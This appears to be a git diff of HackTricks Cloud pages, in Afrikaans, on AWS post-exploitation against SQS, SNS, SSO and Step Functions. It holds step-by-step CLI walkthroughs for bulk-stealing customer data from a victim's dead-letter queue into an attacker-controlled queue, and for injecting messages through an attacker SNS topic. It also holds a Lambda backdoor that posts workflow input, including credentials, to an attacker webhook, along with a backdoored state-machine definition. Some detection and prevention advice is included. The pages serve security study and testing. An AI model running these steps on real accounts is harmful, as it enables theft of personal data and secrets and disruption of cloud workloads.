|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Potensiële impak**: Versteuring van koste-toewysing, hulpbronopsporing en etiketgebaseerde toegangsbeheerbeleide.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
'n Aanvaller kan toestemmings vir wettige gebruikers of dienste intrek deur beleide wat met die SQS-queue geassosieer is te verwyder. Dit kan lei tot versteurings in die normale werking van toepassings wat op die SQS-queue staatmaak.
|
||||
```bash
|
||||
aws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Potensiële Impak**: Versteuring van normale werking van toepassings wat op die queue staatmaak as gevolg van ongemagtigde verwydering van toestemmings.
|
||||
|
||||
### Meer SQS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-redrive-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-sns-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+154
@@ -0,0 +1,154 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Beskrywing
|
||||
|
||||
Misbruik SQS message move tasks om alle opgehoopte boodskappe van 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur hulle na 'n deur die aanvaller beheerde queue om te lei met `sqs:StartMessageMoveTask`. Hierdie tegniek benut AWS se geldige boodskapherstel-funksie om sensitiewe data wat oor tyd in DLQs opgehoop het te exfiltrate.
|
||||
|
||||
## Wat is 'n Dead-Letter Queue (DLQ)?
|
||||
|
||||
'n Dead-Letter Queue is 'n spesiale SQS queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk word nie. Hierdie mislukte boodskappe bevat dikwels:
|
||||
- Sensitiewe toepassingsdata wat nie verwerk kon word nie
|
||||
- Foutbesonderhede en debugging-inligting
|
||||
- Persoonlike identifiseerbare inligting (PII)
|
||||
- API-tokens, credentials, of ander geheime
|
||||
- Besigheidskritieke transaksiedata
|
||||
|
||||
DLQs dien as 'n "begraafplaas" vir mislukte boodskappe, wat hulle waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie.
|
||||
|
||||
## Aanvalscenario
|
||||
|
||||
**Werklike voorbeeld:**
|
||||
1. **E-commerce application** verwerk kliëntbestellings via SQS
|
||||
2. **Sommige bestellings misluk** (betalingsprobleme, voorraadprobleme, ens.) en word na 'n DLQ verskuif
|
||||
3. **DLQ stapel op** weke/maande se mislukte bestellings met kliëntdata: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Aanvaller kry toegang** tot AWS credentials met SQS-permissies
|
||||
5. **Aanvaller ontdek** dat die DLQ duisende mislukte bestellings met sensitiewe data bevat
|
||||
6. **In plaas van te probeer om individuele boodskappe te bekom** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om ALLE boodskappe in grootmaat na hul eie queue oor te dra
|
||||
7. **Aanvaller onttrek** alle historiese sensitiewe data in een operasie
|
||||
|
||||
## Vereistes
|
||||
- Die bron-queue moet gekonfigureer wees as 'n DLQ (verwys deur ten minste een queue RedrivePolicy).
|
||||
- IAM-permissies (uitgevoer as die gekompromitteerde slagoffer-principal):
|
||||
- Op DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Op bestemmings-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` van die slagoffer-principal toelaat). Vir bestemmings in dieselfde rekening is dit tipies standaard toegelaat.
|
||||
- As SSE-KMS aangeskakel is: op bron CMK `kms:Decrypt`, en op bestemming CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impak
|
||||
**Potensiële impak**: Exfiltrate sensitiewe payloads wat in DLQs opgehoop het (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed deur ingeboude SQS APIs te gebruik. Werk kruis-rekening indien die bestemmings-queue-beleid `SendMessage` van die slagoffer-principal toelaat.
|
||||
|
||||
## Hoe om misbruik te maak
|
||||
|
||||
- Identifiseer die slagoffer DLQ ARN en verseker dat dit werklik as 'n DLQ verwys word deur 'n of ander queue (enige queue is goed).
|
||||
- Skep of kies 'n deur die aanvaller beheerde bestemmings-queue en kry sy ARN.
|
||||
- Begin 'n message move task vanaf die slagoffer DLQ na jou bestemmings-queue.
|
||||
- Monitor vordering of kanselleer indien nodig.
|
||||
|
||||
### CLI-voorbeeld: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: 'n Aanvaller het gekompromitteerde AWS credentials en het ontdek dat 'n e-commerce toepassing SQS gebruik met 'n DLQ wat mislukte kliëntbestelverwerkingspogings bevat.
|
||||
|
||||
1) **Ontdek en ondersoek die slagoffer DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Skep attacker-controlled bestemming-queue**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Voer die grootskaalse boodskapdiefstal uit**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Versamel die gesteelde sensitiewe data**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Kruis-rekening notas
|
||||
- Die bestemmings-queue moet 'n resourcebeleid hê wat die benadeelde principal toelaat om `sqs:SendMessage` te gebruik (en, indien van toepassing, KMS-toekennings/toestemmings).
|
||||
|
||||
## Waarom hierdie aanval effektief is
|
||||
|
||||
1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadwillig op te spoor
|
||||
2. **Grootmaat-bewerking**: Dra vinnig duisende boodskappe oor eerder as stadige individuele toegang
|
||||
3. **Historiese data**: DLQs versamel sensitiewe data oor weke/maande
|
||||
4. **Onder die radar**: Baie organisasies monitor nie DLQ-toegang noukeurig nie
|
||||
5. **Kruis-rekening in staat**: Kan exfiltrate na die aanvaller se eie AWS-rekening as toestemmings dit toelaat
|
||||
|
||||
## Opsporing en voorkoming
|
||||
|
||||
### Opsporing
|
||||
Monitor CloudTrail vir verdagte `StartMessageMoveTask` API-oproepe:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Voorkoming
|
||||
1. **Minimale regte**: Beperk `sqs:StartMessageMoveTask` regte tot slegs die nodige rolle
|
||||
2. **Moniteer DLQs**: Stel CloudWatch alarms in vir ongebruiklike DLQ-aktiwiteit
|
||||
3. **Kruis-rekeningbeleid**: Gaan SQS queue policies wat cross-account access toelaat noukeurig na
|
||||
4. **Enkripteer DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide
|
||||
5. **Gereelde opskoning**: Moet nie sensitiewe data vir onbepaalde tyd in DLQs ophoop nie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+54
@@ -0,0 +1,54 @@
|
||||
# AWS – SQS Kruis-/Dieselfde-Rekening Injectie via SNS Subskripsie + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Beskrywing
|
||||
|
||||
Misbruik 'n SQS queue resource policy om 'n deur die aanvaller beheerde SNS topic toe te laat om boodskappe in 'n slagoffer SQS-queue te publiseer. In dieselfde rekening word 'n SQS-subskripsie op 'n SNS-topic outomaties bevestig; in kruis-rekening scenario's moet jy die SubscriptionConfirmation-token uit die queue lees en ConfirmSubscription aanroep. Dit maak onverlangde boodskap-injectie moontlik wat downstream consumers moontlik implisiet vertrou.
|
||||
|
||||
### Vereistes
|
||||
- Vermoë om die teiken SQS queue resource policy te wysig: `sqs:SetQueueAttributes` on the victim queue.
|
||||
- Vermoë om 'n SNS topic te skep/publiseer wat onder die aanvaller se beheer is: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
|
||||
- Slegs kruis-rekening: tydelike `sqs:ReceiveMessage` op die slagoffer-queue om die confirmation token te lees en `sns:ConfirmSubscription` aan te roep.
|
||||
|
||||
### Eksploitasie in dieselfde rekening
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Create attacker SNS topic
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
|
||||
|
||||
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
|
||||
cat > /tmp/ht-sqs-sns-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
|
||||
# Provide the attribute as a JSON map so quoting works reliably
|
||||
cat > /tmp/ht-attrs.json <<JSON
|
||||
{
|
||||
"Policy": "REPLACE_POLICY_JSON"
|
||||
}
|
||||
JSON
|
||||
# Embed the policy file contents as a JSON string
|
||||
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
|
||||
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
|
||||
|
||||
# 4) Subscribe the queue to the topic (auto-confirms same-account)
|
||||
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
|
||||
|
||||
# 5) Publish and verify injection
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Kruis-rekening notas
|
||||
- Die queue policy hierbo moet die vreemde `TOPIC_ARN` (attacker account) toelaat.
|
||||
- Subscriptions sal nie outomaties bevestig nie. Gee jouself tydelike `sqs:ReceiveMessage` op die victim queue om die `SubscriptionConfirmation` boodskap te lees en roep dan `sns confirm-subscription` met sy `Token`.
|
||||
|
||||
### Impak
|
||||
**Potensiële Impak**: Deurlopende ongevraagde boodskap-inspuiting in 'n vertroude SQS queue via SNS, wat moontlik onbedoelde verwerking, databesoedeling, of workflow-misbruik kan veroorsaak.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+5
-5
@@ -1,18 +1,18 @@
|
||||
# AWS - SSO & identitystore Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
Hierdie toestemmings kan gebruik word om toestemmings te ontwrig:
|
||||
Hierdie permissies kan gebruik word om toegangregte te ontwrig:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-185
@@ -1,185 +0,0 @@
|
||||
# AWS - Stap Funksies Post Exploitatie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stap Funksies
|
||||
|
||||
Vir meer inligting oor hierdie AWS-diens, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te onthul**. Hiervoor is dit nodig om die Inspeksievlak op TRACE te stel en die revealSecrets parameter op true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Daarbenewens sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en potensieel operasies te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Deur 'n staatmasjien te verwyder, verwyder jy ook al sy geassosieerde weergawes en aliase.
|
||||
> - Deur 'n staatmasjienalias te verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie.
|
||||
> - Dit is nie moontlik om 'n staatmasjienweergawes te verwyder wat tans deur een of meer aliase verwys word nie.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Potensiële Impak**: Ontwrichting van kritieke werksvloei, dataverlies, en operasionele stilstand.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallelle instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller met die toegelate mislukking persentasie en telling mors, en in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke werksvloei ontwrigt.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Potensiële Impak**: Prestasiedegredasie en ontwrigting van kritieke werksvloei.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede en potensiële datakorruptie.
|
||||
|
||||
> [!WARNING]
|
||||
> Hierdie aksie word nie deur **express state machines** ondersteun nie.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Potensiële Impak**: Ontwrichting van lopende werksvloei, operasionele stilstand, en potensiële datakorruptie.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
'n Aanvaller kan etikette byvoeg, wysig of verwyder van Step Functions hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
'n Aanvaller wat 'n gebruiker of rol met die volgende toestemmings kompromitteer:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...kan 'n **hoë-impak en stil post-exploitatie-aanval** uitvoer deur Lambda backdooring te kombineer met Step Function logika manipulasie.
|
||||
|
||||
Hierdie scenario neem aan dat die slagoffer **AWS Step Functions gebruik om werksvloei te orkestreer wat sensitiewe invoer verwerk**, soos geloofsbriewe, tokens, of PII.
|
||||
|
||||
Voorbeeld slagoffer aanroep:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
As die Stap Funksie geconfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee stil aanvalvariante**:
|
||||
|
||||
---
|
||||
|
||||
#### Opgedateer die lambda funksie
|
||||
|
||||
Die aanvaller wysig die kode van die Lambda funksie wat reeds deur die Stap Funksie (`LegitBusinessLogic`) gebruik word om stilweg invoerdata te eksfiltreer.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Voeg 'n Kwaadwillige Toestand by die Stapfunksie
|
||||
|
||||
Alternatiewelik kan die aanvaller 'n **uitvloeiingstoestand** aan die begin van die werksvloei inspuit deur die Stapfunksie-definisie op te dateer.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Die aanvaller kan selfs meer stilweg die staatdefinisie opdateer na iets soos hierdie
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
waar die slagoffer nie die verskil sal besef nie
|
||||
|
||||
---
|
||||
|
||||
### Slagoffer Opstelling (Konteks vir Exploit)
|
||||
|
||||
- 'n Stap Funksie (`LegitStateMachine`) word gebruik om sensitiewe gebruikersinvoer te verwerk.
|
||||
- Dit roep een of meer Lambda funksies aan soos `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Potensiële Impak**:
|
||||
- Stille eksfiltrasie van sensitiewe data insluitend geheime, akrediteer, API sleutels, en PII.
|
||||
- Geen sigbare foute of mislukkings in werksvloei-uitvoering nie.
|
||||
- Moeilik om te ontdek sonder om Lambda kode of uitvoeringsspore te oudit.
|
||||
- Maak langtermyn volharding moontlik as die backdoor in kode of ASL logika bly.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+185
@@ -0,0 +1,185 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Vir meer inligting oor hierdie AWS-diens, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te openbaar**. Hiervoor moet die Inspection level op TRACE gestel word en die revealSecrets parameter op true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings sou in staat wees om state machines, hul weergawes en aliases permanent te verwyder. Dit kan kritieke werkvloei ontwrig, tot dataverlies lei, en aansienlike tyd vereis om die geraakte state machines te herstel en te herstel. Verder sal dit 'n aanvaller toelaat om spore uit te wis, forensiese ondersoeke te ontwrig, en moontlik bedrywighede te lamtrek deur noodsaaklike automation processes en state configurations te verwyder.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Deleting a state machine you also delete all its associated versions and aliases.
|
||||
> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
|
||||
> - It is not possible to delete a state machine version currently referenced by one o more aliases.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Potential Impact**: Onderbreking van kritieke werkvloeie, dataverlies en bedryfsuitval.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
'n Aanvaller met hierdie permissie sou die Map Run-foutkonfigurasie en parallelinstelling kan manipuleer, en die maksimum aantal toegelate child workflow-uitvoerings kan verhoog of verlaag, wat direk die beskikbaarheid en prestasie van die diens kan beïnvloed. Boonop kan 'n aanvaller inmeng met die verdraagsame foutpersentasie en -telling, en hierdie waarde tot 0 verlaag, sodat elke keer as 'n item misluk die hele Map Run misluk, wat direk die state machine-uitvoering beïnvloed en moontlik kritieke werkvloeie ontwrig.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Potensiële impak**: Prestasievermindering en ontwrigting van kritieke werkvloei.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
'n aanvaller met hierdie toestemming kan die uitvoering van enige state machine stop, wat voortdurende werkvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, stilstaande besigheidsbedrywighede en moontlike datakorrupsie.
|
||||
|
||||
> [!WARNING]
|
||||
> Hierdie aksie word nie ondersteun deur **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Potensiële impak**: Steuring van lopende werkstrome, bedryfsuitval, en moontlike datakorrupsie.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
'n aanvaller kan tags byvoeg, wysig of verwyder op Step Functions resources, wat jou organisasie se kostetoewysing, hulpbronopsporing en toegangsbeheerbeleide gebaseer op tags kan ontwrig.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potensiële impak**: Onderbreking van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangsbeheerbeleide.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
'n aanvaller wat 'n gebruiker of rol met die volgende regte kompromitteer:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...kan 'n **hoë-impak en onopvallende post-exploitation attack** uitvoer deur Lambda backdooring te kombineer met Step Function logika-manipulasie.
|
||||
|
||||
Hierdie scenario neem aan dat die slagoffer **AWS Step Functions gebruik om werkvloeie te orkestreer wat sensitiewe insette verwerk**, soos credentials, tokens, of PII.
|
||||
|
||||
Voorbeeld slagoffer-aanroep:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
